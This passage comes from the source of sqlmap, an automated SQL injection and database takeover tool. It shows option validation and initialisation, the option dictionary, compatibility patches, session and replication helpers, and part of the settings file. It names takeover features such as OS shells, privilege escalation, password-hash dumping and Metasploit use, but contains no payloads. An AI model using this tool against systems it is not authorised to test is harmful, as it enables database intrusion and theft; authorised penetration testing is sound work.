and conf.alert.startswith('-'): errMsg = "value for option '--alert' must be valid operating system command(s)" raise SqlmapSyntaxException(errMsg) if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) if isinstance(conf.uCols, six.string_types): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" raise SqlmapSyntaxException(errMsg) if conf.dbmsCred and ':' not in conf.dbmsCred: errMsg = "value for option '--dbms-cred' must be in " errMsg += "format : (e.g. \"root:pass\")" raise SqlmapSyntaxException(errMsg) if conf.encoding: _ = checkCharEncoding(conf.encoding, False) if _ is None: errMsg = "unknown encoding '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "supported encodings" raise SqlmapSyntaxException(errMsg) else: conf.encoding = _ if conf.fileWrite and not os.path.isfile(conf.fileWrite): errMsg = "file '%s' does not exist" % os.path.abspath(conf.fileWrite) raise SqlmapFilePathException(errMsg) if conf.loadCookies and not os.path.exists(conf.loadCookies): errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) raise SqlmapFilePathException(errMsg) def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setConfAttributes() _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ _useWizardInterface() setVerbosity() _saveConfig() _setRequestFromFile() _cleanupOptions() _cleanupEnvironment() _purge() _checkDependencies() _createHomeDirectories() _createTemporaryDirectory() _basicOptionValidation() _setProxyList() _setTorProxySettings() _setDNSServer() _adjustLoggingFormatter() _setMultipleTargets() _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() _setPostprocessFunctions() _setTrafficOutputFP() _setupHTTPCollector() _setHttpOptions() parseTargetDirect() if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() _setHTTPReferer() _setHTTPHost() _setHTTPUserAgent() _setHTTPAuthentication() _setHTTPHandlers() _setDNSCache() _setSocketPreConnect() _setSafeVisit() _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() _checkTor() _setCrawler() _findPageForms() _setDBMS() _setTechnique() _setThreads() _setOS() _setWriteFile() _setMetasploit() _setDBMSAuthentication() loadBoundaries() loadPayloads() _setPrefixSuffix() update() _loadQueries() ================================================ FILE: lib/core/optiondict.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ optDict = { # Family: {"parameter name": "parameter datatype"}, # --OR-- # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, "Target": { "direct": "string", "url": "string", "logFile": "string", "bulkFile": "string", "requestFile": "string", "sessionFile": "string", "googleDork": "string", "configFile": "string", }, "Request": { "method": "string", "data": "string", "paramDel": "string", "cookie": "string", "cookieDel": "string", "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", "http2": "boolean", "agent": "string", "mobile": "boolean", "randomAgent": "boolean", "host": "string", "referer": "string", "headers": "string", "authType": "string", "authCred": "string", "authFile": "string", "abortCode": "string", "ignoreCode": "string", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", "ignoreTimeouts": "boolean", "proxy": "string", "proxyCred": "string", "proxyFile": "string", "proxyFreq": "integer", "tor": "boolean", "torPort": "integer", "torType": "string", "checkTor": "boolean", "delay": "float", "timeout": "float", "retries": "integer", "retryOn": "string", "rParam": "string", "safeUrl": "string", "safePost": "string", "safeReqFile": "string", "safeFreq": "integer", "skipUrlEncode": "boolean", "skipXmlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", "csrfData": "string", "csrfRetries": "integer", "forceSSL": "boolean", "chunked": "boolean", "hpp": "boolean", "evalCode": "string", }, "Optimization": { "optimize": "boolean", "predictOutput": "boolean", "keepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, "Injection": { "testParameter": "string", "skip": "string", "skipStatic": "boolean", "paramExclude": "string", "paramFilter": "string", "dbms": "string", "dbmsCred": "string", "os": "string", "invalidBignum": "boolean", "invalidLogical": "boolean", "invalidString": "boolean", "noCast": "boolean", "noEscape": "boolean", "prefix": "string", "suffix": "string", "tamper": "string", }, "Detection": { "level": "integer", "risk": "integer", "string": "string", "notString": "string", "regexp": "string", "code": "integer", "smart": "boolean", "textOnly": "boolean", "titles": "boolean", }, "Techniques": { "technique": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", "uFrom": "string", "uValues": "string", "dnsDomain": "string", "secondUrl": "string", "secondReq": "string", }, "Fingerprint": { "extensiveFp": "boolean", }, "Enumeration": { "getAll": "boolean", "getBanner": ("boolean", "Banners"), "getCurrentUser": ("boolean", "Users"), "getCurrentDb": ("boolean", "Databases"), "getHostname": "boolean", "isDba": "boolean", "getUsers": ("boolean", "Users"), "getPasswordHashes": ("boolean", "Passwords"), "getPrivileges": ("boolean", "Privileges"), "getRoles": ("boolean", "Roles"), "getDbs": ("boolean", "Databases"), "getTables": ("boolean", "Tables"), "getColumns": ("boolean", "Columns"), "getSchema": "boolean", "getCount": "boolean", "dumpTable": "boolean", "dumpAll": "boolean", "search": "boolean", "getComments": "boolean", "getStatements": "boolean", "db": "string", "tbl": "string", "col": "string", "exclude": "string", "pivotColumn": "string", "dumpWhere": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", "limitStop": "integer", "firstChar": "integer", "lastChar": "integer", "sqlQuery": "string", "sqlShell": "boolean", "sqlFile": "string", }, "Brute": { "commonTables": "boolean", "commonColumns": "boolean", "commonFiles": "boolean", }, "User-defined function": { "udfInject": "boolean", "shLib": "string", }, "File system": { "fileRead": "string", "fileWrite": "string", "fileDest": "string", }, "Takeover": { "osCmd": "string", "osShell": "boolean", "osPwn": "boolean", "osSmb": "boolean", "osBof": "boolean", "privEsc": "boolean", "msfPath": "string", "tmpPath": "string", }, "Windows": { "regRead": "boolean", "regAdd": "boolean", "regDel": "boolean", "regKey": "string", "regVal": "string", "regData": "string", "regType": "string", }, "General": { "trafficFile": "string", "abortOnEmpty": "boolean", "answers": "string", "batch": "boolean", "base64Parameter": "string", "base64Safe": "boolean", "binaryFields": "string", "charset": "string", "checkInternet": "boolean", "cleanup": "boolean", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", "dumpFile": "string", "dumpFormat": "string", "encoding": "string", "eta": "boolean", "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", "googlePage": "integer", "harFile": "string", "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", "postprocess": "string", "preprocess": "string", "repair": "boolean", "saveConfig": "string", "scope": "string", "skipHeuristics": "boolean", "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", "timeLimit": "float", "unsafeNaming": "boolean", "webRoot": "string", }, "Miscellaneous": { "alert": "string", "beep": "boolean", "dependencies": "boolean", "disableColoring": "boolean", "disableHashing": "boolean", "listTampers": "boolean", "noLogging": "boolean", "noTruncate": "boolean", "offline": "boolean", "purge": "boolean", "resultsFile": "string", "tmpDir": "string", "unstable": "boolean", "updateAll": "boolean", "wizard": "boolean", "verbose": "integer", }, "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", "profile": "boolean", "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", }, "API": { "api": "boolean", "taskid": "string", "database": "string", } } ================================================ FILE: lib/core/patch.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import collections import difflib import inspect import logging import os import random import re import sys import lib.controller.checks import lib.core.common import lib.core.convert import lib.core.option import lib.core.threads import lib.request.connect import lib.utils.search import lib.utils.sqlalchemy import thirdparty.ansistrm.ansistrm import thirdparty.chardet.universaldetector from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import readInput from lib.core.common import shellExec from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.convert import stdoutEncode from lib.core.data import conf from lib.core.enums import PLACE from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.request.templates import getPageTemplate from thirdparty import six from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client _rand = 0 def dirtyPatches(): """ Place for "dirty" Python related patches """ # accept overly long result lines (e.g. SQLi results in HTTP header responses) _http_client._MAXLINE = 1 * 1024 * 1024 # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) if six.PY3: if not hasattr(_http_client.HTTPConnection, "__send_output"): _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output def _send_output(self, *args, **kwargs): if conf.get("chunked") and "encode_chunked" in kwargs: kwargs["encode_chunked"] = False self.__send_output(*args, **kwargs) _http_client.HTTPConnection._send_output = _send_output # add support for inet_pton() on Windows OS if IS_WIN: from thirdparty.wininetpton import win_inet_pton # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) # Reference: http://bugs.python.org/issue17849 if hasattr(_http_client, "LineAndFileWrapper"): def _(self, *args): return self._readline() _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline _http_client.LineAndFileWrapper.readline = _ # to prevent too much "guessing" in case of binary data retrieval thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) if match and match.group(1).upper() != PLACE.POST: PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 try: os.urandom(1) except NotImplementedError: if six.PY3: os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) else: os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 try: import collections if not hasattr(collections, "MutableSet"): import collections.abc collections.MutableSet = collections.abc.MutableSet except ImportError: pass # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 # Reference: https://stackoverflow.com/a/14076841 try: import pymysql pymysql.install_as_MySQLdb() except (ImportError, AttributeError): pass # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) def makelist(data): if isinstance(data, (tuple, list, set, dict)): return list(data) elif data: return [data] else: return [] def getargspec(func): spec = inspect.getfullargspec(func) kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) return ArgSpec(kwargs, spec[1], spec[2], spec[3]) inspect.getargspec = getargspec # Installing "reversible" unicode (decoding) error handler def _reversible(ex): if INVALID_UNICODE_PRIVATE_AREA: return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) else: return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) codecs.register_error("reversible", _reversible) # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 if not hasattr(logging, "_acquireLock"): def _acquireLock(): if logging._lock: logging._lock.acquire() logging._acquireLock = _acquireLock if not hasattr(logging, "_releaseLock"): def _releaseLock(): if logging._lock: logging._lock.release() logging._releaseLock = _releaseLock from xml.etree import ElementTree as et if not getattr(et, "_patched", False): _real_parse = et.parse def _safe_parse(source, parser=None): if parser is None: parser = et.XMLParser() if hasattr(parser, "parser"): def reject(*args): raise ValueError("XML entities are forbidden") parser.parser.EntityDeclHandler = reject parser.parser.UnparsedEntityDeclHandler = reject return _real_parse(source, parser=parser) et.parse = _safe_parse et._patched = True try: import builtins except ImportError: import __builtin__ as builtins if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate: difflib.enumerate = builtins.enumerate def resolveCrossReferences(): """ Place for cross-reference resolution """ lib.core.threads.isDigit = isDigit lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.filterNone = filterNone lib.core.convert.isListLike = isListLike lib.core.convert.shellExec = shellExec lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage lib.core.option._pympTempLeakPatch = pympTempLeakPatch lib.request.connect.setHTTPHandlers = _setHTTPHandlers lib.utils.search.setHTTPHandlers = _setHTTPHandlers lib.controller.checks.setVerbosity = setVerbosity lib.utils.sqlalchemy.getSafeExString = getSafeExString thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode def pympTempLeakPatch(tempDir): """ Patch for "pymp" leaking directories inside Python3 """ try: import multiprocessing.util multiprocessing.util.get_temp_dir = lambda: tempDir except: pass def unisonRandom(): """ Unifying random generated data across different Python versions """ def _lcg(): global _rand a = 1140671485 c = 128201163 m = 2 ** 24 _rand = (a * _rand + c) % m return _rand def _randint(a, b): _ = a + (_lcg() % (b - a + 1)) return _ def _choice(seq): return seq[_randint(0, len(seq) - 1)] def _sample(population, k): return [_choice(population) for _ in xrange(k)] def _seed(seed): global _rand _rand = seed random.choice = _choice random.randint = _randint random.sample = _sample random.seed = _seed ================================================ FILE: lib/core/profiling.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import cProfile import os from lib.core.data import logger from lib.core.data import paths def profile(profileOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") if os.path.exists(profileOutputFile): os.remove(profileOutputFile) # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) logger.info(infoMsg) ================================================ FILE: lib/core/readlineng.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ _readline = None try: from readline import * import readline as _readline except: try: from pyreadline import * import pyreadline as _readline except: pass from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() except AttributeError: debugMsg = "Failed GetOutputFile when using platform's " debugMsg += "readline library" logger.debug(debugMsg) _readline = None # Test to see if libedit is being used instead of GNU readline. # Thanks to Boyd Waters for this patch. uses_libedit = False if PLATFORM == "mac" and _readline: import commands (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) if status == 0 and len(result) > 0: # We are bound to libedit - new in Leopard _readline.parse_and_bind("bind ^I rl_complete") debugMsg = "Leopard libedit detected when using platform's " debugMsg += "readline library" logger.debug(debugMsg) uses_libedit = True # the clear_history() function was only introduced in Python 2.4 and is # actually optional in the readline API, so we must explicitly check for its # existence. Some known platforms actually don't have it. This thread: # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: if not hasattr(_readline, "clear_history"): def clear_history(): pass _readline.clear_history = clear_history ================================================ FILE: lib/core/replication.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import sqlite3 from lib.core.common import cleanReplaceUnicode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING from lib.utils.safe2bin import safechardecode class Replication(object): """ This class holds all methods/classes used for database replication purposes. """ def __init__(self, dbpath): try: self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() except sqlite3.OperationalError as ex: errMsg = "error occurred while opening a replication " errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) class DataType(object): """ Using this class we define auxiliary objects used for representing sqlite data types. """ def __init__(self, name): self.name = name def __str__(self): return self.name def __repr__(self): return "" % self class Table(object): """ This class defines methods used to manipulate table objects. """ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.parent = parent self.name = unsafeSQLIdentificatorNaming(name) self.columns = columns if create: try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) else: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) except Exception as ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) def insert(self, values): """ This function is used for inserting row(s) into current table. """ if len(values) == len(self.columns): self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) def execute(self, sql, parameters=None): try: try: self.parent.cursor.execute(sql, parameters or []) except UnicodeError: self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) except sqlite3.OperationalError as ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) def beginTransaction(self): """ Great speed improvement can be gained by using explicit transactions around multiple inserts. Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows """ self.execute('BEGIN TRANSACTION') def endTransaction(self): self.execute('END TRANSACTION') def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ query = 'SELECT * FROM "%s"' % self.name if condition: query += ' WHERE %s' % condition self.execute(query) return self.parent.cursor.fetchall() def createTable(self, tblname, columns=None, typeless=False): """ This function creates Table instance with current connection settings. """ return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): self.cursor.close() self.connection.close() # sqlite data types NULL = DataType('NULL') INTEGER = DataType('INTEGER') REAL = DataType('REAL') TEXT = DataType('TEXT') BLOB = DataType('BLOB') ================================================ FILE: lib/core/revision.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re import subprocess from lib.core.common import openFile from lib.core.convert import getText def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" >>> len(getRevisionNumber() or (' ' * 7)) == 7 True """ retVal = None filePath = None directory = os.path.dirname(__file__) while True: candidate = os.path.join(directory, ".git", "HEAD") if os.path.exists(candidate): filePath = candidate break parent = os.path.dirname(directory) if parent == directory: break directory = parent if filePath: with openFile(filePath, "r") as f: content = getText(f.read()).strip() if content.startswith("ref: "): ref_path = content.replace("ref: ", "").strip() filePath = os.path.join(directory, ".git", ref_path) if os.path.exists(filePath): with openFile(filePath, "r") as f_ref: content = getText(f_ref.read()).strip() match = re.match(r"(?i)[0-9a-f]{40}", content) retVal = match.group(0) if match else None if not retVal: try: process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or "")) retVal = match.group(0) if match else None except: pass return retVal[:7] if retVal else None ================================================ FILE: lib/core/session.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.settings import SUPPORTED_DBMS def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ hashDBWrite(HASHDB_KEYS.DBMS, dbms) _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: dbms = _.group(1) Backend.setDbms(dbms) if kb.resolutionDbms: hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms) logger.info("the back-end DBMS is %s" % Backend.getDbms()) def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" if not kb.bannerFp: return if "type" in kb.bannerFp: Backend.setOs(Format.humanize(kb.bannerFp["type"])) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): kb.osSP = 0 if Backend.getOs() and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) hashDBWrite(HASHDB_KEYS.OS, Backend.getOs()) ================================================ FILE: lib/core/settings.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import os import platform import random import re import string import sys import time from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS from thirdparty import six # sqlmap version (...) VERSION = "1.10.3.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "https://sqlmap.org" DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/" ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner BANNER = """\033[01;33m\ ___ __H__ ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| \033[0m\033[4;37m%s\033[0m\n """ % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates DUMMY_JUNK = "fooj0Zo4" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__URI_QUESTION__" ASTERISK_MARKER = "__ASTERISK__" REPLACEMENT_MARKER = "__REPLACEMENT__" BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" SAFE_HEX_MARKER = "__SAFE_HEX__" DOLLAR_MARKER = "__DOLLAR__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" # Regular expression used for extraction of table names (useful for (e.g.) MsAccess) SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used to detect errors in fuzz(y) UNION test FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" # Maximum consecutive connection errors before asking the user if he wants to continue MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) PRECONNECT_CANDIDATE_TIMEOUT = 10 # Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) IDENTYWAF_PARSE_COUNT_LIMIT = 10 # Identify WAF/IPS inside limited size of responses IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024 # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Google Search consent cookie GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r'= 7) TIME_STDEV_COEFF = 7 # Minimum response time that can be even considered as delayed (not a complete requirement) MIN_VALID_DELAYED_RESPONSE = 0.5 # Standard deviation after which a warning message should be displayed about connection lags WARN_TIME_STDEV = 0.5 # Minimum length of usable union injected response (quick defense against substr fields) UNION_MIN_RESPONSE_CHARS = 10 # Coefficient used for a union-based number of columns checking (must be >= 7) UNION_STDEV_COEFF = 7 # Length of queue for candidates for time delay adjustment TIME_DELAY_CANDIDATES = 3 # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "*/*" # Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 # Number of seconds to wait for thread finalization at program end THREAD_FINALIZATION_TIMEOUT = 1 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Maximum size of cache used in @cachedmethod decorator MAX_CACHE_ITEMS = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" # Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 # Maximum time response set used during time-comparison based on standard deviation MAX_TIME_RESPONSES = 200 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 # After these number of blanks 